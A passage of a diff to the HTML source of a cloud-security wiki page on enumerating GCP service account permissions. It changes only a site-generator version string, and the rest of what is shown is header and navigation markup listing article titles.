-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Brute force the permissions of a service account to see what you have access to."><link href=https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ rel=canonical><link href=../enumerate_all_permissions/ rel=prev><link href=../../exploitation/gcp_iam_privilege_escalation/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Enumerate Service Account Permissions - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Enumerate Service Account Permissions - Hacking The Cloud"><meta property=og:description content="Brute force the permissions of a service account to see what you have access to."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Enumerate Service Account Permissions - Hacking The Cloud"><meta property=twitter:description content="Brute force the permissions of a service account to see what you have access to."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Brute force the permissions of a service account to see what you have access to."><link href=https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ rel=canonical><link href=../enumerate_all_permissions/ rel=prev><link href=../../exploitation/gcp_iam_privilege_escalation/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Enumerate Service Account Permissions - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Enumerate Service Account Permissions - Hacking The Cloud"><meta property=og:description content="Brute force the permissions of a service account to see what you have access to."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Enumerate Service Account Permissions - Hacking The Cloud"><meta property=twitter:description content="Brute force the permissions of a service account to see what you have access to."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#updating-the-list-of-permissions class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ 